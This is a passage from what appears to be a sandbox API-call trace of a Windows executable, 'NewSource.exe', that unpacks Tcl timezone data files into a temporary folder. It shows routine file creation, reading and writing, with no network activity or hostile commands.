lpLocalTime=0x4f8cf0) returned 1 [0043.522] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.522] CloseHandle (hObject=0x10c) returned 1 [0043.522] GetLastError () returned 0x0 [0043.522] SetLastError (dwErrCode=0x0) [0043.522] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.522] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.522] GetFileType (hFile=0x10c) returned 0x1 [0043.522] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.522] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.522] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.522] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.522] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.522] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.522] CloseHandle (hObject=0x10c) returned 1 [0043.522] GetLastError () returned 0x0 [0043.522] SetLastError (dwErrCode=0x0) [0043.522] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV") returned 64 [0043.522] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.522] GetFileType (hFile=0x10c) returned 0x1 [0043.523] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.523] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.523] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.523] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.523] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.523] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.523] CloseHandle (hObject=0x10c) returned 1 [0043.523] GetLastError () returned 0x0 [0043.523] SetLastError (dwErrCode=0x0) [0043.523] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\YST9") returned 69 [0043.523] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\YST9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\yst9"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.523] GetLastError () returned 0x2 [0043.523] SetLastError (dwErrCode=0x2) [0043.523] GetLastError () returned 0x2 [0043.523] SetLastError (dwErrCode=0x2) [0043.523] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\YST9", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\YST9", lpFilePart=0x0) returned 0x44 [0043.523] GetLastError () returned 0x2 [0043.523] SetLastError (dwErrCode=0x2) [0043.523] GetLastError () returned 0x2 [0043.523] SetLastError (dwErrCode=0x2) [0043.523] GetLastError () returned 0x2 [0043.523] SetLastError (dwErrCode=0x2) [0043.523] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\YST9") returned 69 [0043.523] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.523] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\YST9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\yst9"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.524] GetFileType (hFile=0x10c) returned 0x1 [0043.524] htonl (hostlong=0xb8000000) returned 0xb8 [0043.524] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.524] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb8, lpOverlapped=0x0) returned 1 [0043.525] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.525] CloseHandle (hObject=0x10c) returned 1 [0043.525] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5609b0 | out: hHeap=0x530000) returned 1 [0043.525] htonl (hostlong=0x30000000) returned 0x30 [0043.525] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.525] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.525] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.525] GetFileType (hFile=0x10c) returned 0x1 [0043.525] htonl (hostlong=0x9c315d00) returned 0x5d319c [0043.525] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e19c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.525] htonl (hostlong=0x94000000) returned 0x94 [0043.525] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x94) returned 0x55cfe0 [0043.525] htonl (hostlong=0x94000000) returned 0x94 [0043.525] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.525] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.525] htonl (hostlong=0xc1000000) returned 0xc1 [0043.526] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc1) returned 0x550600 [0043.526] htonl (hostlong=0x94000000) returned 0x94 [0043.526] htonl (hostlong=0xc1000000) returned 0xc1 [0043.526] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.526] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.526] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.526] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.526] CloseHandle (hObject=0x10c) returned 1 [0043.526] GetLastError () returned 0x0 [0043.526] SetLastError (dwErrCode=0x0) [0043.526] GetLastError () returned 0x0 [0043.526] SetLastError (dwErrCode=0x0) [0043.526] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.526] GetFileType (hFile=0x10c) returned 0x1 [0043.526] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.526] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.526] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.526] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.526] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.526] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.526] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.526] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.526] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.526] CloseHandle (hObject=0x10c) returned 1 [0043.526] GetLastError () returned 0x0 [0043.526] SetLastError (dwErrCode=0x0) [0043.526] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.527] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.527] GetFileType (hFile=0x10c) returned 0x1 [0043.527] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.527] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.527] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.527] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.527] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.527] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.527] CloseHandle (hObject=0x10c) returned 1 [0043.527] GetLastError () returned 0x0 [0043.527] SetLastError (dwErrCode=0x0) [0043.527] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV") returned 64 [0043.527] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.527] GetFileType (hFile=0x10c) returned 0x1 [0043.527] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.527] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.527] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.527] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.527] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.528] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.528] CloseHandle (hObject=0x10c) returned 1 [0043.528] GetLastError () returned 0x0 [0043.528] SetLastError (dwErrCode=0x0) [0043.528] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\YST9YDT") returned 72 [0043.528] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\YST9YDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\yst9ydt"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.528] GetLastError () returned 0x2 [0043.528] SetLastError (dwErrCode=0x2) [0043.528] GetLastError () returned 0x2 [0043.528] SetLastError (dwErrCode=0x2) [0043.528] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\YST9YDT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\YST9YDT", lpFilePart=0x0) returned 0x47 [0043.528] GetLastError () returned 0x2 [0043.528] SetLastError (dwErrCode=0x2) [0043.528] GetLastError () returned 0x2 [0043.528] SetLastError (dwErrCode=0x2) [0043.528] GetLastError () returned 0x2 [0043.528] SetLastError (dwErrCode=0x2) [0043.528] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\YST9YDT") returned 72 [0043.528] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.528] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\YST9YDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\yst9ydt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.528] GetFileType (hFile=0x10c) returned 0x1 [0043.529] htonl (hostlong=0xc1000000) returned 0xc1 [0043.529] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.529] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xc1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xc1, lpOverlapped=0x0) returned 1 [0043.529] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.529] CloseHandle (hObject=0x10c) returned 1 [0043.530] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.530] htonl (hostlong=0x30000000) returned 0x30 [0043.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.530] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.530] GetFileType (hFile=0x10c) returned 0x1 [0043.530] htonl (hostlong=0x30325d00) returned 0x5d3230 [0043.530] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e230, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.530] htonl (hostlong=0x88000000) returned 0x88 [0043.530] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x88) returned 0x55cfe0 [0043.530] htonl (hostlong=0x88000000) returned 0x88 [0043.530] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.530] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.530] htonl (hostlong=0xaf000000) returned 0xaf [0043.530] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaf) returned 0x550600 [0043.530] htonl (hostlong=0x88000000) returned 0x88 [0043.530] htonl (hostlong=0xaf000000) returned 0xaf [0043.530] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.530] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.530] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.530] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.530] CloseHandle (hObject=0x10c) returned 1 [0043.530] GetLastError () returned 0x0 [0043.530] SetLastError (dwErrCode=0x0) [0043.530] GetLastError () returned 0x0 [0043.531] SetLastError (dwErrCode=0x0) [0043.531] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.531] GetFileType (hFile=0x10c) returned 0x1 [0043.531] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.531] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.531] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.531] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.531] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.531] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.531] CloseHandle (hObject=0x10c) returned 1 [0043.531] GetLastError () returned 0x0 [0043.531] SetLastError (dwErrCode=0x0) [0043.531] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.531] GetFileType (hFile=0x10c) returned 0x1 [0043.531] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.531] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.531] FileTimeToSystemTime (in: 